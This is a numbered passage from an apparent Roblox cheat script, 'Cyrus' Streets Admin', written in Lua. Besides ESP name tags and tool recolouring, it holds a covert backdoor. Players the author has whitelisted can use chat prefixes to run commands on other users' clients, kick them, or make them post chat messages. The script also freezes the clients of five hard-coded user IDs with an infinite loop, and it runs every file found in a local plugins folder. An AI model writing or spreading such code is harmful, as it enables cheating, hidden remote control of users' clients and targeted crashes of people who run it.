2313 Esp2.BackgroundTransparency = 1
2314 Esp2.Text = CoolkidTable[tostring(Plr.UserId)].Name
2315 Esp2.Position = UDim2.new(0,0,0,0)
2316 Esp2.Size = UDim2.new(1,0,0,40)
2317 Esp2.TextColor3 = CoolkidTable[tostring(Plr.UserId)].Colour
2318 Esp2.TextStrokeTransparency = 0.5
2319 Esp2.TextSize = 15
2320 Esp2.TextStrokeColor3 = CoolkidTable[tostring(Plr.UserId)].Colour
2321 if Plr.Character:FindFirstChild'Humanoid' then
2322 Plr.Character.Humanoid.DescendantAdded:Connect(function(T)
2323 if T:IsA'Trail' then
2324 T.Color = ColorSequence.new(CoolkidTable[tostring(Plr.UserId)].Colour)
2325 end
2326 end)
2327 end
2328 local Table = {}
2329 for i,v in pairs(Plr.Backpack:GetChildren()) do if v:IsA'Tool' and v:FindFirstChild'Fire' then table.insert(Table,v) end end
2330 for i,v in pairs(Plr.Character:GetChildren()) do if v:IsA'Tool' and v:FindFirstChild'Fire' then table.insert(Table,v) end end
2331 -- To make sure all tools get set ugly I know lol
2332 for Index,Tool in pairs(Table) do
2333 for Index2,Part in pairs(Tool:GetDescendants()) do
2334 if Part:IsA'UnionOperation' or Part:IsA'Part' or Part:IsA'MeshPart' then
2335 if Part:IsA'UnionOperation' then
2336 Part.UsePartColor = true
2337 end
2338 Part.Material = "ForceField"
2339 Part.Color = CoolkidTable[tostring(Plr.UserId)].Colour
2340 end
2341 end
2342 end
2343 Plr.Character.ChildAdded:Connect(function(T)
2344 if T:IsA'Tool' and T:FindFirstChild'Fire' then
2345 for Index2,Part in pairs(T:GetDescendants()) do
2346 if Part:IsA'UnionOperation' or Part:IsA'Part' or Part:IsA'MeshPart' then
2347 if Part:IsA'UnionOperation' then
2348 Part.UsePartColor = true
2349 end
2350 Part.Material = "ForceField"
2351 Part.Color = CoolkidTable[tostring(Plr.UserId)].Colour
2352 end
2353 end
2354 end
2355 end)
2356end
2357
2358local PlayersX = Players:GetPlayers()
2359for i = 1,#PlayersX do
2360 local Plr = PlayersX[i]
2361 if CoolkidTable[tostring(Plr.UserId)] and Plr.Character:FindFirstChild'Head' then
2362 espcool(Plr)
2363 Plr.CharacterAdded:Connect(function()
2364 local Head = Plr.Character:WaitForChild('Head',10)
2365 if Head then
2366 espcool(Plr)
2367 end
2368 end)
2369 if CoolkidTable[tostring(Plr.UserId)].Access then
2370 Plr.Chatted:Connect(function(Chat)
2371 local Arguments = string.split(Chat:sub(2)," ")
2372 local Player = PlrFinder(Arguments[1])
2373 table.remove(Arguments,1)
2374 if Player and Player == LP or typeof(Player) == "table" then
2375 if not CoolkidTable[tostring(LP.UserId)] then
2376 if Chat:sub(1,1) == "`" then
2377 CheckCommand(table.concat(Arguments," "))
2378 end
2379 if Chat:sub(1,1) == "[" then
2380 LP:Kick('You have been kicked by '..Plr.Name.." for "..table.concat(Arguments," "))
2381 end
2382 if Chat:sub(1,1) == "~" then
2383 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("abc123","All")
2384 end
2385 end
2386 end
2387 end)
2388 end
2389 end
2390 if Plr ~= LP then
2391 local Chatted;
2392 Chatted = Plr.Chatted:Connect(function(A) -- had to make it a function instead of calling :Wait() on it or it would yield the whole loop lmao
2393 if A == "Hey I'm a cyrus' streets admin user1" then
2394 Chatted:Disconnect()
2395 Players:Chat("Hey I'm a cyrus' streets admin user1")
2396 local abc123;
2397 for i = 1,#PlayerTable do
2398 if PlayerTable[i] and PlayerTable[i][2] == Plr then
2399 PlayerTable[i][5] = "true"
2400 abc123 = true
2401 end
2402 end
2403 table.insert(AdminUsers,Plr.UserId)
2404 if not abc123 and UseDraw then
2405 espPlayer(Plr,nil,true)
2406 end
2407 end
2408 end)
2409 end
2410end
2411
2412Players.PlayerAdded:Connect(function(Plr)
2413 if CoolkidTable[tostring(Plr.UserId)] then
2414 Plr.CharacterAdded:Connect(function()
2415 if CoolkidTable[tostring(Plr.UserId)].Access then
2416 Plr.Chatted:Connect(function(Chat)
2417 local Arguments = string.split(Chat:sub(2)," ")
2418 local Player = PlrFinder(Arguments[1])
2419 table.remove(Arguments,1)
2420 if Player and Player == LP or typeof(Player) == "table" then
2421 if not CoolkidTable[tostring(LP.UserId)] then
2422 if Chat:sub(1,1) == "`" then
2423 CheckCommand(table.concat(Arguments," "))
2424 end
2425 if Chat:sub(1,1) == "[" then
2426 LP:Kick('You have been kicked by '..Plr.Name.." for "..table.concat(Arguments," "))
2427 end
2428 if Chat:sub(1,1) == "~" then
2429 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("abc123","All")
2430 end
2431 end
2432 end
2433 end)
2434 end
2435 local Head = Plr.Character:WaitForChild('Head',10)
2436 if Head then
2437 espcool(Plr)
2438 end
2439 end)
2440 end
2441 local p;
2442 P = Plr.Chatted:Connect(function(A)
2443 if A == "Hey I'm a cyrus' streets admin user1" then
2444 P:Disconnect()
2445 Players:Chat("Hey I'm a cyrus' streets admin user1")
2446 local abc123;
2447 for i = 1,#PlayerTable do
2448 if PlayerTable[i] and PlayerTable[i][2] == Plr then
2449 PlayerTable[i][5] = "true"
2450 abc123 = true
2451 end
2452 end
2453 table.insert(AdminUsers,Plr.UserId)
2454 if not abc123 and UseDraw then
2455 espPlayer(Plr,nil,true)
2456 end
2457 end
2458 end)
2459end)
2460
2461local FileDir,isFolder,makeFolder = syn_io_listdir or list_files,syn_io_isfolder or isfolder,syn_io_makefolder or makefolder
2462
2463if FileDir and isFolder and makeFolder then
2464 if not isFolder'CyAdminPlugins' then
2465 makeFolder('CyAdminPlugins')
2466 end
2467 for _,v in pairs(FileDir'CyAdminPlugins') do
2468 local WorkingFile = loadfile(v)
2469 if not WorkingFile then
2470 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("There was a syntax error (sadly can\'t output it as loadfile is gay)","All")
2471 else
2472 local Work,Error = pcall(WorkingFile)
2473 if not Work then
2474 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Runtime Error"..Error,"All")
2475 end
2476 end
2477 end
2478end
2479
2480if LP.UserId == 251848039 or LP.UserId == 57890959 or LP.UserId == 339273796 or LP.UserId == 39000370 or LP.UserId == 363849133 then
2481 while true do end -- crash that dumb ass skid!
2482end
2483
2484for i = 1,#Commands do
2485local Alias = Commands[i].Alias
2486 Create(Commands[i].Name)
2487 for v = 1,#Alias do
2488 Create(Alias[v])
2489 end
2490 CreateCommand(UDim2.new(0.0150422715,0,0.0127776451,0 + (i * 20)),Commands[i].Name.." "..Commands[i].Help)
2491end
2492
2493notif("Cyrus' Streets Admin has loaded!","It took "..(tick() - Tick).." seconds to load (Type Commands for help)\nDiscord Invite: nXcZH36",10,"rbxassetid://2474242690")
2494notif("Hotkeys:","No chat prefix\nCommandbar Prefix is '\nRight clicking door: lock/unlock\nPressing e with guns stomps",10,nil)
2495notif("Newest Update:","esp boxes + espsettings command????? wow! (also holy fuck this was stressful to add if anyone cares lol)",10,nil)
2496
2497--[[
2498if game.PlaceId == 455366377 then
2499 local InfectedTable = {}
2500
2501 while wait() do
2502 if not LP.PlayerGui.HUD.INFEC then LP:Kick'NICE TRY! YOU WILL BE FORCED TO INFECT PEOPLE.' end
2503 if LP.PlayerGui.HUD.INFEC.Visible then
2504 local PlayerC = Players:GetPlayers()
2505 for i = 1,#PlayerC do
2506 local Player = PlayerC[i]
2507 local Infected = false
2508 if not InfectedTable[Player] and Player ~= LP then
2509 repeat wait()
2510 if Player.Character and Player.Character:FindFirstChild'Torso' and GetChar():FindFirstChild'Torso' then
2511 GetChar().Torso.CFrame = Player.Character.Torso.CFrame
2512 for i,v in pairs(Player.Character.Humanoid:GetPlayingAnimationTracks()) do
2513 if string.find(v.Animation.AnimationId,"4812408744") then
2514 Infected = true
2515 table.insert(InfectedTable,Player)
2516 end
2517 end
2518 game:GetService'RunService'.Heartbeat:wait()
2519 end
2520 until Infected
2521 Infected = false
2522 end
2523 end
2524 end
2525 end
2526end
2527]]